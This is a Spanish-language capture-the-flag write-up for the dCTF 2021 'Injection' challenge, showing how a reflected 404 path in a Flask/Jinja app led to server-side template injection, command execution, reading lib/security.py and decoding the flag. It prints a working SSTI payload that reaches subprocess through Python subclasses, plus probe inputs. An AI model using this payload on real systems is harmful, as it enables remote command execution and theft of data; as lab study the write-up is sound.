Publicaciones

dCTF 2021: Injection

Encontrando SSTI en Flask/Jinja, leyendo archivos fuente y decodificando la contraseña final.

Writeup original del reto: Injection.md

URL del reto: http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/

Pasted image 20210516170501

El sitio tenía un login de admin con User, Password y un campo Submit oculto.

Enviar cualquier cosa no funcionaba. Redirigía a /login, donde la página devolvía:

Oops! Page login doesn't exist :(

Estuve trabado con este por un rato. Revisé robots.txt, probé directorios comunes y miré el root path donde estaba almacenada la imagen, pero no encontré nada útil.

Eventualmente noté que el sitio reflejaba cualquier path que pidiera dentro de la respuesta 404, incluso un input simple de XSS:

Pasted image 20210516170833

Al principio pensé que podía ser SQL injection, lo cual me frenó porque en ese momento apenas sabía algo de SQLi.

Después de leer algunos writeups de CTF con comportamiento similar, encontré la palabra clave que necesitaba: SSTI.

Ya había leído sobre SSTI antes de este reto, pero no hice la conexión enseguida.

Encontrando SSTI

Probé esto:

http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/{{1+1}}

La respuesta fue:

Oops! Page 2 doesn't exist :(

Eso confirmó que la expresión de template se estaba evaluando.

Después probé:

{{config}}

Eso devolvió muchos datos, incluyendo este mensaje:

'MESSAGE': 'You are getting closer!'

Desde ahí, el objetivo era convertir la SSTI en ejecución de comandos. El payload que terminé usando fue:

{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}

COMMAND es el comando a ejecutar.

Ejecutar ls devolvió:

app.py
lib
static
templates

Ejecutar ls lib devolvió:

security.py

Entonces leí el archivo con cat lib/security.py:

import base64


def validate_login(username, password):
    if username != 'admin':
        return False
    valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ'
    return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password

La contraseña estaba codificada en base64, invertida y sin el padding = inicial. Para decodificarla, la invertí otra vez y agregué el padding:

base64.b64decode(password[::-1]+"==")
b'dctf{4ll_us3r_1nput_1s_3v1l}'

Eso me dio la flag.

Notas

Los payloads de SSTI pueden depender mucho del entorno. La mayoría de los payloads que encontré online no funcionaron acá, así que tuve que adaptar uno.

Este artículo de Medium fue la referencia más útil que encontré mientras lo resolvía:

https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee

El payload final que usé fue:

{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}